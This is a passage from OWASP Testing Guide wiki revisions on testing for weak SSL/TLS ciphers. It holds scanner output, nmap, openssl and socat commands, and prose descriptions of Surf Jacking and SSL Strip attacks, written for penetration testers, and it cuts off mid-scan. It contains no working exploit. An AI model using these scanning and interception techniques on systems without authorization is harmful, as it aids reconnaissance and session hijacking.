Checking localhost:443 for TLS 1.1 support ...<br />
<br />
Checking localhost:443 for TLS 1.2 support ...<br />
<br />
[*] TLS 1.1, TLS 1.2: SUPPORTED<br />
[*] Immune from BEAST attack mentioned in http://www.infoworld.com/t/security/red-alert-https-has-been-hacked-174025<br />
[*] Vulnerability Status: No<br />
<br />
<br />
<br />
=====================================<br />
<br />
Loading module: sslyze by iSecPartners ...<br />
<br />
Checking localhost:443 for Session Renegotiation support (CVE-2009-3555,CVE-2011-1473,CVE-2011-5094) ...<br />
<br />
[*] Secure Client-Initiated Renegotiation : NOT SUPPORTED<br />
[*] Mitigated from DOS attack (CVE-2011-1473,CVE-2011-5094) mentioned in https://www.thc.org/thc-ssl-dos/<br />
[*] Vulnerability Status: No<br />
<br />
<br />
[*] INSECURE Client-Initiated Renegotiation : NOT SUPPORTED<br />
[*] Immune from TLS Plain-text Injection attack (CVE-2009-3555) - http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3555 <br />
[*] Vulnerability Status: No<br />
<br />
<br />
=====================================<br />
<br />
Loading module: TestSSLServer by Thomas Pornin ...<br />
<br />
Checking localhost:443 for SSL version 2 support ...<br />
<br />
[*] SSL version 2 : NOT SUPPORTED<br />
[*] Immune from SSLv2-based MITM attack <br />
[*] Vulnerability Status: No<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for LANE (LOW,ANON,NULL,EXPORT) weak ciphers support ...<br />
<br />
Supported LANE cipher suites:<br />
SSLv3<br />
RSA_EXPORT_WITH_RC4_40_MD5<br />
RSA_EXPORT_WITH_RC2_CBC_40_MD5<br />
RSA_EXPORT_WITH_DES40_CBC_SHA<br />
RSA_WITH_DES_CBC_SHA<br />
DHE_RSA_EXPORT_WITH_DES40_CBC_SHA<br />
DHE_RSA_WITH_DES_CBC_SHA<br />
TLS_ECDH_anon_WITH_RC4_128_SHA<br />
TLS_ECDH_anon_WITH_3DES_EDE_CBC_SHA<br />
TLS_ECDH_anon_WITH_AES_256_CBC_SHA<br />
(TLSv1.0: same as above)<br />
(TLSv1.1: same as above)<br />
(TLSv1.2: same as above)<br />
<br />
<br />
[!] LANE ciphers : SUPPORTED<br />
[!] Attackers may be ABLE to recover encrypted packets.<br />
[!] Vulnerability Status: VULNERABLE<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for GCM/CCM ciphers support against Lucky13 attack (CVE-2013-0169) ...<br />
<br />
Supported GCM cipher suites against Lucky13 attack:<br />
TLSv1.2<br />
TLS_RSA_WITH_AES_128_GCM_SHA256<br />
TLS_RSA_WITH_AES_256_GCM_SHA384<br />
TLS_DHE_RSA_WITH_AES_128_GCM_SHA256<br />
TLS_DHE_RSA_WITH_AES_256_GCM_SHA384<br />
TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256<br />
TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384<br />
<br />
<br />
[*] GCM/CCM ciphers : SUPPORTED<br />
[*] Immune from Lucky13 attack mentioned in http://www.isg.rhul.ac.uk/tls/Lucky13.html<br />
[*] Vulnerability Status: No<br />
<br />
<br />
=====================================<br />
<br />
Checking localhost:443 for TLS Compression support against CRIME (CVE-2012-4929) & TIME attack ...<br />
<br />
[*] TLS Compression : DISABLED<br />
[*] Immune from CRIME & TIME attack mentioned in https://media.blackhat.com/eu-13/briefings/Beery/bh-eu-13-a-perfect-crime-beery-wp.pdf<br />
[*] Vulnerability Status: No<br />
<br />
<br />
=====================================<br />
<br />
[+] Breacher finished scanning in 27 seconds.<br />
[+] Get your latest copy at http://yehg.net/<br />
</pre><br />
<br />
===Testing SSL certificate validity – client and server===<br />
Firstly upgrade the browser because CA certs expire and in every release of the browser these are renewed. Examine the validity of the certificates used by the application. Browsers will issue a warning when encountering expired certificates, certificates issued by untrusted CAs, and certificates which do not match name wise with the site to which they should refer. <br />
<br />
<br />
By clicking on the padlock that appears in the browser window when visiting an HTTPS site, testers can look at information related to the certificate – including the issuer, period of validity, encryption characteristics, etc. If the application requires a client certificate, that tester has probably installed one to access it. Certificate information is available in the browser by inspecting the relevant certificate(s) in the list of the installed certificates. <br />
<br />
<br />
These checks must be applied to all visible SSL-wrapped communication channels used by the application. Though this is the usual https service running on port 443, there may be additional services involved depending on the web application architecture and on deployment issues (an HTTPS administrative port left open, HTTPS services on non-standard ports, etc.). Therefore, apply these checks to all SSL-wrapped ports which have been discovered. For example, the nmap scanner features a scanning mode (enabled by the –sV command line switch) which identifies SSL-wrapped services. The Nessus vulnerability scanner has the capability of performing SSL checks on all SSL/TLS-wrapped services. <br />
<br />
<br />
====Example 1. Testing for certificate validity (manually)====<br />
Rather than providing a fictitious example, this guide includes an anonymized real-life example to stress how frequently one stumbles on https sites whose certificates are inaccurate with respect to naming. The following screenshots refer to a regional site of a high-profile IT company. <br />
<br />
We are visiting a .it site and the certificate was issued to a .com site. Internet Explorer warns that the name on the certificate does not match the name of the site. <br />
<br />
[[Image:SSL Certificate Validity Testing IE Warning.gif]]<br />
<br />
''Warning issued by Microsoft Internet Explorer''<br />
<br />
The message issued by Firefox is different. Firefox complains because it cannot ascertain the identity of the .com site the certificate refers to because it does not know the CA which signed the certificate. In fact, Internet Explorer and Firefox do not come pre-loaded with the same list of CAs. Therefore, the behavior experienced with various browsers may differ.<br />
<br />
[[Image:SSL Certificate Validity Testing Firefox Warning.gif]]<br />
<br />
''Warning issued by Mozilla Firefox''<br />
<br />
===Testing for other vulnerabilities===<br />
As mentioned previously, there are other types of vulnerabilities that are not related with the SSL/TLS protocol used, the cipher suites or Certificates. Apart from other vulnerabilities discussed in other parts of this guide, a vulnerability exists when the server provides the website both with the HTTP and HTTPS protocols, and permits an attacker to force a victim into using a non-secure channel instead of a secure one.<br />
<br />
<br />
====Surf Jacking====<br />
The Surf Jacking attack [7] was first presented by Sandro Gauci and permits to an attacker to hijack an HTTP session even when the victim’s connection is encrypted using SSL or TLS.<br />
<br />
<br />
The following is a scenario of how the attack can take place:<br />
* Victim logs into the secure website at https://somesecuresite/.<br />
* The secure site issues a session cookie as the client logs in.<br />
* While logged in, the victim opens a new browser window and goes to http:// examplesite/<br />
* An attacker sitting on the same network is able to see the clear text traffic to http://examplesite.<br />
* The attacker sends back a "301 Moved Permanently" in response to the clear text traffic to http://examplesite. The response contains the header “Location: http://somesecuresite /”, which makes it appear that examplesite is sending the web browser to somesecuresite. Notice that the URL scheme is HTTP not HTTPS.<br />
* The victim's browser starts a new clear text connection to http://somesecuresite/ and sends an HTTP request containing the cookie in the HTTP header in clear text<br />
* The attacker sees this traffic and logs the cookie for later use.<br />
<br />
<br />
To test if a website is vulnerable carry out the following tests:<br />
# Check if website supports both HTTP and HTTPS protocols<br />
# Check if cookies do not have the “Secure” flag<br />
<br />
<br />
====SSL Strip====<br />
Some applications supports both HTTP and HTTPS, either for usability or so users can type both addresses and get to the site. Often users go into an HTTPS website from link or a redirect. Typically personal banking sites have a similar configuration with an iframed log in or a form with action attribute over HTTPS but the page under HTTP.<br />
<br />
<br />
An attacker in a privileged position - as described in SSL strip [8] - can intercept traffic when the user is in the http site and manipulate it to get a Man-In-The-Middle attack under HTTPS. An application is vulnerable if it supports both HTTP and HTTPS.<br />
<br />
<br />
===Testing via HTTP proxy===<br />
<br />
Inside corporate environments testers can see services that are not directly accessible and they can access them only via HTTP proxy using the CONNECT method [36]. Most of the tools will not work in this scenario because they try to connect to the desired tcp port to start the SSL/TLS handshake. With the help of relaying software such as socat [37] testers can enable those tools for use with services behind an HTTP proxy.<br />
<br />
<br />
====Example 8. Testing via HTTP proxy==== <br />
<br />
To connect to destined.application.lan:443 via proxy 10.13.37.100:3128 run socat as follows:<br />
<pre><br />
$ socat TCP-LISTEN:9999,reuseaddr,fork PROXY:10.13.37.100:destined.application.lan:443,proxyport=3128<br />
</pre><br />
<br />
<br />
Then the tester can target all other tools to localhost:9999:<br />
<pre><br />
$ openssl s_client -connect localhost:9999<br />
</pre><br />
<br />
<br />
All connections to localhost:9999 will be effectively relayed by socat via proxy to destined.application.lan:443.<br />
<br />
<br />
== Gray Box testing and example ==<br />
<br />
===Testing for Weak SSL/TLS Cipher Suites===<br />
Check the configuration of the web servers that provide https services. If the web application provides other SSL/TLS wrapped services, these should be checked as well. <br />
<br />
<br />
====Example 9. Windows Server==== <br />
Check the configuration on a Microsoft Windows Server (2000, 2003 and 2008) using the registry key:<br />
<pre>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\</pre><br />
that has some sub-keys including Ciphers, Protocols and KeyExchangeAlgorithms.<br />
<br />
<br />
====Example 10: Apache====<br />
To check the cipher suites and protocols supported by the Apache2 web server, open the ssl.conf file and search for the SSLCipherSuite, SSLProtocol, SSLHonorCipherOrder,SSLInsecureRenegotiation and SSLCompression directives.<br />
<br />
<br />
===Testing SSL certificate validity – client and server===<br />
Examine the validity of the certificates used by the application at both server and client levels. The usage of certificates is primarily at the web server level, however, there may be additional communication paths protected by SSL (for example, towards the DBMS). Testers should check the application architecture to identify all SSL protected channels.<br />
<br />
<br />
==References==<br />
'''OWASP Resources'''<br />
* [5] [OWASP Testing Guide - Testing for cookie attributes (OTG-SESS-002)|https://www.owasp.org/index.php/Testing_for_cookies_attributes_(OWASP-SM-002)]<br />
* [4][OWASP Testing Guide - Test Network/Infrastructure Configuration (OTG-CONFIG-001)|https://www.owasp.org/index.php/Testing_for_infrastructure_configuration_management_(OWASP-CM-003)]<br />
* [6] [OWASP Testing |https://www.owasp.org/index.php/Testing_for_cookies_attributes_(OWASP-SM-002)][Guide - Testing for Missing HSTS header (OTG-CONFIG-009)|https://www.owasp.org/index.php/Testing_for_Missing_HSTS_header]<br />
* [2] [OWASP Testing Guide - Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-007)|https://www.owasp.org/index.php?title=Testing_for_Sensitive_information_sent_via_unencrypted_channels_(OTG-CRYPST-007)&action=edit&redlink=1]<br />
* [3] [OWASP Testing Guide - Testing for Credentials Transported over an Encrypted Channel (OWASP-AT-001)|https://www.owasp.org/index.php/Testing_for_Credentials_Transported_over_an_Encrypted_Channel_(OWASP-AT-001)]<br />
* [9] [OWASP Testing Guide - Test Content Security Policy (OTG-CONFIG-008)|https://www.owasp.org/index.php/Testing_for_Content_Security_Policy_weakness]<br />
* [22] [OWASP Cheat sheet - Transport Layer Protection|https://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheet]<br />
* [23] [OWASP TOP 10 2013 - A6 Sensitive Data Exposure|https://www.owasp.org/index.php/Top_10_2013-A6-Sensitive_Data_Exposure]<br />
* [24] [OWASP TOP 10 2010 - A9 Insufficient Transport Layer Protection|https://www.owasp.org/index.php/Top_10_2010-A9-Insufficient_Transport_Layer_Protection]<br />
* [25] [OWASP ASVS 2009 - Verification 10|https://code.google.com/p/owasp-asvs/wiki/Verification_V10]<br />
* [26] [OWASP Application Security FAQ - Cryptography/SSL|https://www.owasp.org/index.php/OWASP_Application_Security_FAQ#Cryptography.2FSSL]<br />
<br />
<br />
'''Whitepapers'''<br />
* [1] [RFC5246 - The Transport Layer Security (TLS) Protocol Version 1.2 (Updated by RFC 5746, RFC 5878, RFC 6176)|http://www.ietf.org/rfc/rfc5246.txt]<br />
* [36] [RFC2817 - Upgrading to TLS Within HTTP/1.1|]<br />
* [34] [RFC6066 - Transport Layer Security (TLS) Extensions: Extension Definitions|http://www.ietf.org/rfc/rfc6066.txt]<br />
* [11] [SSLv2 Protocol Multiple Weaknesses |http://osvdb.org/56387]<br />
* [12] [Mitre - TLS Renegotiation MiTM|http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3555]<br />
* [13] [Qualys SSL Labs - TLS Renegotiation DoS|https://community.qualys.com/blogs/securitylabs/2011/10/31/tls-renegotiation-and-denial-of-service-attacks]<br />
* [10] [Qualys SSL Labs - SSL/TLS Deployment Best Practices|https://www.ssllabs.com/projects/best-practices/index.html]<br />
* [14] [Qualys SSL Labs - SSL Server Rating Guide|https://www.ssllabs.com/projects/rating-guide/index.html]<br />
* [20] [Qualys SSL Labs - SSL Threat Model|https://www.ssllabs.com/projects/ssl-threat-model/index.html]<br />
* [18] [Qualys SSL Labs - Forward Secrecy|https://community.qualys.com/blogs/securitylabs/2013/06/25/ssl-labs-deploying-forward-secrecy]<br />
* [15] [Qualys SSL Labs - RC4 Usage|https://community.qualys.com/blogs/securitylabs/2013/03/19/rc4-in-tls-is-broken-now-what]<br />
* [16] [Qualys SSL Labs - BEAST|https://community.qualys.com/blogs/securitylabs/2011/10/17/mitigating-the-beast-attack-on-tls]<br />
* [17] [Qualys SSL Labs - CRIME|https://community.qualys.com/blogs/securitylabs/2012/09/14/crime-information-leakage-attack-against-ssltls]<br />
* [7] [SurfJacking attack|https://resources.enablesecurity.com/resources/Surf%20Jacking.pdf]<br />
* [8] [SSLStrip attack|http://www.thoughtcrime.org/software/sslstrip/]<br />
* [19] [PCI-DSS v2.0|https://www.pcisecuritystandards.org/security_standards/documents.php]<br />
* [35] [Xiaoyun Wang, Hongbo Yu: How to Break MD5 and Other Hash Functions| http://link.springer.com/chapter/10.1007/11426639_2]<br />
<br />
<br />
'''Tools'''<br />
* [21][Qualys SSL Labs - SSL Server Test|https://www.ssllabs.com/ssltest/index.html]: internet facing scanner<br />
* [27] [Tenable - Nessus Vulnerability Scanner|http://www.tenable.com/products/nessus]: includes some plugins to test different SSL related vulnerabilities, Certificates and the presence of HTTP Basic authentication without SSL.<br />
* [32] [TestSSLServer|http://www.bolet.org/TestSSLServer/]: a java scanner - and also windows executable - includes tests for cipher suites, CRIME and BEAST<br />
* [33] [sslyze|https://github.com/iSECPartners/sslyze]: is a python script to check vulnerabilities in SSL/TLS.<br />
* [28] [SSLAudit|https://code.google.com/p/sslaudit/]: a perl script/windows executable scanner which follows Qualys SSL Labs Rating Guide.<br />
* [29] [SSLScan|http://sourceforge.net/projects/sslscan/] with [SSL Tests|http://www.pentesterscripting.com/discovery/ssl_tests]: a SSL Scanner and a wrapper in order to enumerate SSL vulnerabilities.<br />
* [31] [nmap|http://nmap.org/]: can be used primary to identify SSL-based services and then to check Certificate and SSL/TLS vulnerabilities. In particular it has some scripts to check [Certificate and SSLv2|http://nmap.org/nsedoc/scripts/ssl-cert.html] and supported [SSL/TLS protocols/ciphers|http://nmap.org/nsedoc/scripts/ssl-enum-ciphers.html] with an internal rating.<br />
* [30] [curl|http://curl.haxx.se/] and [openssl|http://www.openssl.org/]: can be used to query manually SSL/TLS services<br />
* [9] [Stunnel|http://www.stunnel.org]: a noteworthy class of SSL clients is that of SSL proxies such as stunnel available at which can be used to allow non-SSL enabled tools to talk to SSL services)<br />
* [37] [socat| http://www.dest-unreach.org/socat/]: Multipurpose relay<br />
* [38] [testssl.sh| https://testssl.sh/ ]<br />
<br />
<br />
[[Category:Cryptographic Vulnerability]]<br />
[[Category:SSL]]</div>D0ubl3 h3lixhttps://wiki.owasp.org/index.php?title=Testing_for_Weak_SSL/TLS_Ciphers,_Insufficient_Transport_Layer_Protection_(OTG-CRYPST-001)&diff=179059Testing for Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-001)2014-07-21T13:14:12Z<p>D0ubl3 h3lix: /* Example 8. Testing SSL/TLS with SSL Breacher - Yet Another SSL Test Tool */</p>
<hr />
<div>{{Template:OWASP Testing Guide v4}}<br />
<br />
<br />
== Brief Summary ==<br />
<br />
Sensitive data must be protected when it is transmitted through the network. Such data can include user credentials and credit cards. As a rule of thumb, if data must be protected when it is stored, it must be protected also during transmission. <br />
<br />
<br />
HTTP is a clear-text protocol and it is normally secured via an SSL/TLS tunnel, resulting in HTTPS traffic [1]. The use of this protocol ensures not only confidentiality, but also authentication. Servers are authenticated using digital certificates and it is also possible to use client certificate for mutual authentication. <br />
<br />
<br />
Even if high grade ciphers are today supported and normally used, some misconfiguration in the server can be used to force the use of a weak cipher - or at worst no encryption - permitting to an attacker to gain access to the supposed secure communication channel. Other misconfiguration can be used for a Denial of Service attack.<br />
<br />
<br />
== Description of the Issue == <br />
A vulnerability occurs if the HTTP protocol is used to transmit sensitive information [2] (e.g. credentials transmitted over HTTP [3]).<br />
<br />
When the SSL/TLS service is present it is good but it increments the attack surface and the following vulnerabilities exist:<br />
* SSL/TLS protocols, ciphers, keys and renegotiation must be properly configured.<br />
* Certificate validity must be ensured.<br />
<br />
Other vulnerabilities linked to this are:<br />
* Software exposed must be updated due to possibility of known vulnerabilities [4].<br />
* Usage of Secure flag for Session Cookies [5].<br />
* Usage of HTTP Strict Transport Security (HSTS) [6].<br />
* The presence of HTTP and HTTPS both, which can be used to intercept traffic [7], [8].<br />
* The presence of mixed HTTPS and HTTP content in the same page, which can be used to Leak information.<br />
<br />
<br />
===Sensitive data transmitted in clear-text===<br />
The application should not transmit sensitive information via unencrypted channels. Typically it is possible to find basic authentication over HTTP, input password or session cookie sent via HTTP and, in general, other information considered by regulations, laws or organization policy.<br />
<br />
<br />
===Weak SSL/TLS Ciphers/Protocols/Keys===<br />
Historically, there have been limitations set in place by the U.S. government to allow cryptosystems to be exported only for key sizes of at most 40 bits, a key length which could be broken and would allow the decryption of communications. Since then cryptographic export regulations have been relaxed the maximum key size is 128 bits.<br />
<br />
<br />
It is important to check the SSL configuration being used to avoid putting in place cryptographic support which could be easily defeated. To reach this goal SSL-based services should not offer the possibility to choose weak cipher suite. A cipher suite is specified by an encryption protocol (e.g. DES, RC4, AES), the encryption key length (e.g. 40, 56, or 128 bits), and a hash algorithm (e.g. SHA, MD5) used for integrity checking.<br />
<br />
<br />
Briefly, the key points for the cipher suite determination are the following: <br />
# The client sends to the server a ClientHello message specifying, among other information, the protocol and the cipher suites that it is able to handle. Note that a client is usually a web browser (most popular SSL client nowadays), but not necessarily, since it can be any SSL-enabled application; the same holds for the server, which needs not to be a web server, though this is the most common case [9].<br />
#The server responds with a ServerHello message, containing the chosen protocol and cipher suite that will be used for that session (in general the server selects the strongest protocol and cipher suite supported by both the client and server). <br />
<br />
<br />
It is possible (for example, by means of configuration directives) to specify which cipher suites the server will honor. In this way you may control whether or not conversations with clients will support 40-bit encryption only.<br />
<br />
#The server sends its Certificate message and, if client authentication is required, also sends a CertificateRequest message to the client.<br />
#The server sends a ServerHelloDone message and waits for a client response.<br />
#Upon receipt of the ServerHelloDone message, the client verifies the validity of the server's digital certificate.<br />
<br />
<br />
===SSL certificate validity – client and server===<br />
<br />
When accessing a web application via the HTTPS protocol, a secure channel is established between the client and the server. The identity of one (the server) or both parties (client and server) is then established by means of digital certificates. So, once the cipher suite is determined, the “SSL Handshake” continues with the exchange of the certificates:<br />
# The server sends its Certificate message and, if client authentication is required, also sends a CertificateRequest message to the client.<br />
# The server sends a ServerHelloDone message and waits for a client response.<br />
# Upon receipt of the ServerHelloDone message, the client verifies the validity of the server's digital certificate.<br />
<br />
<br />
In order for the communication to be set up, a number of checks on the certificates must be passed. While discussing SSL and certificate based authentication is beyond the scope of this guide, this section will focus on the main criteria involved in ascertaining certificate validity: <br />
<br />
* Checking if the Certificate Authority (CA) is a known one (meaning one considered trusted);<br />
* Checking that the certificate is currently valid;<br />
* Checking that the name of the site and the name reported in the certificate match.<br />
<br />
<br />
Let's examine each check more in detail. <br />
<br />
* Each browser comes with a pre-loaded list of trusted CAs, against which the certificate signing CA is compared (this list can be customized and expanded at will). During the initial negotiations with an HTTPS server, if the server certificate relates to a CA unknown to the browser, a warning is usually raised. This happens most often because a web application relies on a certificate signed by a self-established CA. Whether this is to be considered a concern depends on several factors. For example, this may be fine for an Intranet environment (think of corporate web email being provided via HTTPS; here, obviously all users recognize the internal CA as a trusted CA). When a service is provided to the general public via the Internet, however (i.e. when it is important to positively verify the identity of the server we are talking to), it is usually imperative to rely on a trusted CA, one which is recognized by all the user base (and here we stop with our considerations; we won’t delve deeper in the implications of the trust model being used by digital certificates). <br />
<br />
<br />
* Certificates have an associated period of validity, therefore they may expire. Again, we are warned by the browser about this. A public service needs a temporally valid certificate; otherwise, it means we are talking with a server whose certificate was issued by someone we trust, but has expired without being renewed. <br />
<br />
<br />
* What if the name on the certificate and the name of the server do not match? If this happens, it might sound suspicious. For a number of reasons, this is not so rare to see. A system may host a number of name-based virtual hosts, which share the same IP address and are identified by means of the HTTP 1.1 Host: header information. In this case, since the SSL handshake checks the server certificate before the HTTP request is processed, it is not possible to assign different certificates to each virtual server. Therefore, if the name of the site and the name reported in the certificate do not match, we have a condition which is typically signaled by the browser. To avoid this, IP-based virtual servers must be used. [33] and [34] describe techniques to deal with this problem and allow name-based virtual hosts to be correctly referenced. <br />
<br />
<br />
===Other vulnerabilities===<br />
The presence of a new service, listening in a separate tcp port may introduce vulnerabilities such as infrastructure vulnerabilities if the software is not up to date [4]. Furthermore, for the correct protection of data during transmission the Session Cookie must use the Secure flag [5] and some directives should be sent to the browser to accept only secure traffic (e.g. HSTS [6], CSP [9]). <br />
<br />
<br />
Also there are some attacks that can be used to intercept traffic if the web server exposes the application on both HTTP and HTTPS [6], [7] or in case of mixed HTTP and HTTPS resources in the same page.<br />
<br />
<br />
== Black Box Testing ==<br />
<br />
===Testing for sensitive data transmitted in clear-text===<br />
Various types of information which must be protected can be also transmitted in clear text. It is possible to check if this information is transmitted over HTTP instead of HTTPS. Please refer to specific tests for full details, for credentials [3] and other kind of data [2]. <br />
<br />
<br />
=====Example 1. Basic Authentication over HTTP=====<br />
A typical example is the usage of Basic Authentication over HTTP because with Basic Authentication, after log in, credentials are encoded - and not encrypted - into HTTP Headers.<br />
<br />
<pre><br />
$ curl -kis http://example.com/restricted/<br />
HTTP/1.1 401 Authorization Required<br />
Date: Fri, 01 Aug 2013 00:00:00 GMT<br />
WWW-Authenticate: Basic realm="Restricted Area"<br />
Accept-Ranges: bytes<br />
Vary: Accept-Encoding<br />
Content-Length: 162<br />
Content-Type: text/html<br />
<br />
<html><head><title>401 Authorization Required</title></head><br />
<body bgcolor=white><br />
<h1>401 Authorization Required</h1><br />
<br />
Invalid login credentials!<br />
<br />
</body></html><br />
</pre><br />
<br />
<br />
===Testing for Weak SSL/TLS Ciphers/Protocols/Keys vulnerabilities===<br />
The large number of available cipher suites and quick progress in cryptanalysis makes testing an SSL server a non-trivial task. <br />
<br />
At the time of writing these criteria are widely recognized as minimum checklist:<br />
* Weak ciphers must not be used (e.g. less than 128 bits [10]; no NULL ciphers suite, due to no encryption used; no Anonymous Diffie-Hellmann, due to not provides authentication).<br />
* Weak protocols must be disabled (e.g. SSLv2 must be disabled, due to known weaknesses in protocol design [11]).<br />
* Renegotiation must be properly configured (e.g. Insecure Renegotiation must be disabled, due to MiTM attacks [12] and Client-initiated Renegotiation must be disabled, due to Denial of Service vulnerability [13]).<br />
* No Export (EXP) level cipher suites, due to can be easly broken [10].<br />
* X.509 certificates key length must be strong (e.g. if RSA or DSA is used the key must be at least 1024 bits).<br />
* X.509 certificates must be signed only with secure hashing algoritms (e.g. not signed using MD5 hash, due to known collision attacks on this hash).<br />
* Keys must be generated with proper entropy (e.g, Weak Key Generated with Debian) [14].<br />
<br />
A more complete checklist includes:<br />
* Secure Renegotiation should be enabled.<br />
* MD5 should not be used, due to known collision attacks. [35]<br />
* RC4 should not be used, due to crypto-analytical attacks [15].<br />
* Server should be protected from BEAST Attack [16].<br />
* Server should be protected from CRIME attack, TLS compression must be disabled [17].<br />
* Server should support Forward Secrecy [18].<br />
<br />
<br />
The following standards can be used as reference while assessing SSL servers:<br />
* PCI-DSS v2.0 in point 4.1 requires compliant parties to use "strong cryptography" without precisely defining key lengths and algorithms. Common interpretation, partially based on previous versions of the standard, is that at least 128 bit key cipher, no export strength algorithms and no SSLv2 should be used [19].<br />
* Qualys SSL Labs Server Rating Guide [14], Depoloyment best practice [10] and SSL Threat Model [20] has been proposed to standardize SSL server assessment and configuration. But is less updated than the SSL Server tool [21].<br />
* OWASP has a lot of resources about SSL/TLS Security [22], [23], [24], [25]. [26].<br />
<br />
<br />
Some tools and scanners both free (e.g. SSLAudit [28] or SSLScan [29]) and commercial (e.g. Tenable Nessus [27]), can be used to assess SSL/TLS vulnerabilities. But due to evolution of these vulnerabilities a good way to test is to check them manually with openssl [30] or use the tool’s output as an input for manual evaluation using the references.<br />
<br />
<br />
Sometimes the SSL/TLS enabled service is not directly accessible and the tester can access it only via a HTTP proxy using CONNECT method [36]. Most of the tools will try to connect to desired tcp port to start SSL/TLS handshake. This will not work since desired port is accessible only via HTTP proxy. The tester can easily circumvent this by using relaying software such as socat [37].<br />
<br />
<br />
====Example 2. SSL service recognition via nmap====<br />
<br />
The first step is to identify ports which have SSL/TLS wrapped services. Typically tcp ports with SSL for web and mail services are - but not limited to - 443 (https), 465 (ssmtp), 585 (imap4-ssl), 993 (imaps), 995 (ssl-pop).<br />
<br />
In this example we search for SSL services using nmap with “-sV” option, used to identify services and it is also able to identify SSL services [31]. Other options are for this particular example and must be customized. Often in a Web Application Penetration Test scope is limited to port 80 and 443.<br />
<br />
<pre><br />
$ nmap -sV --reason -PN -n --top-ports 100 www.example.com<br />
Starting Nmap 6.25 ( http://nmap.org ) at 2013-01-01 00:00 CEST<br />
Nmap scan report for www.example.com (127.0.0.1)<br />
Host is up, received user-set (0.20s latency).<br />
Not shown: 89 filtered ports<br />
Reason: 89 no-responses<br />
PORT STATE SERVICE REASON VERSION<br />
21/tcp open ftp syn-ack Pure-FTPd<br />
22/tcp open ssh syn-ack OpenSSH 5.3 (protocol 2.0)<br />
25/tcp open smtp syn-ack Exim smtpd 4.80<br />
26/tcp open smtp syn-ack Exim smtpd 4.80<br />
80/tcp open http syn-ack<br />
110/tcp open pop3 syn-ack Dovecot pop3d<br />
143/tcp open imap syn-ack Dovecot imapd<br />
443/tcp open ssl/http syn-ack Apache<br />
465/tcp open ssl/smtp syn-ack Exim smtpd 4.80<br />
993/tcp open ssl/imap syn-ack Dovecot imapd<br />
995/tcp open ssl/pop3 syn-ack Dovecot pop3d<br />
Service Info: Hosts: example.com<br />
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .<br />
Nmap done: 1 IP address (1 host up) scanned in 131.38 seconds<br />
</pre><br />
<br />
<br />
====Example 3. Checking for Certificate information, Weak Ciphers and SSLv2 via nmap====<br />
Nmap has two scripts for checking Certificate information, Weak Ciphers and SSLv2 [31].<br />
<br />
<pre><br />
$ nmap --script ssl-cert,ssl-enum-ciphers -p 443,465,993,995 www.example.com<br />
Starting Nmap 6.25 ( http://nmap.org ) at 2013-01-01 00:00 CEST<br />
Nmap scan report for www.example.com (127.0.0.1)<br />
Host is up (0.090s latency).<br />
rDNS record for 127.0.0.1: www.example.com<br />
PORT STATE SERVICE<br />
443/tcp open https<br />
| ssl-cert: Subject: commonName=www.example.org<br />
| Issuer: commonName=*******<br />
| Public Key type: rsa<br />
| Public Key bits: 1024<br />
| Not valid before: 2010-01-23T00:00:00+00:00<br />
| Not valid after: 2020-02-28T23:59:59+00:00<br />
| MD5: *******<br />
|_SHA-1: *******<br />
| ssl-enum-ciphers: <br />
| SSLv3: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
| TLSv1.0: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
|_ least strength: strong<br />
465/tcp open smtps<br />
| ssl-cert: Subject: commonName=*.exapmple.com<br />
| Issuer: commonName=*******<br />
| Public Key type: rsa<br />
| Public Key bits: 2048<br />
| Not valid before: 2010-01-23T00:00:00+00:00<br />
| Not valid after: 2020-02-28T23:59:59+00:00<br />
| MD5: *******<br />
|_SHA-1: *******<br />
| ssl-enum-ciphers: <br />
| SSLv3: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
| TLSv1.0: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
|_ least strength: strong<br />
993/tcp open imaps<br />
| ssl-cert: Subject: commonName=*.exapmple.com<br />
| Issuer: commonName=*******<br />
| Public Key type: rsa<br />
| Public Key bits: 2048<br />
| Not valid before: 2010-01-23T00:00:00+00:00<br />
| Not valid after: 2020-02-28T23:59:59+00:00<br />
| MD5: *******<br />
|_SHA-1: *******<br />
| ssl-enum-ciphers: <br />
| SSLv3: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
| TLSv1.0: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
|_ least strength: strong<br />
995/tcp open pop3s<br />
| ssl-cert: Subject: commonName=*.exapmple.com<br />
| Issuer: commonName=*******<br />
| Public Key type: rsa<br />
| Public Key bits: 2048<br />
| Not valid before: 2010-01-23T00:00:00+00:00<br />
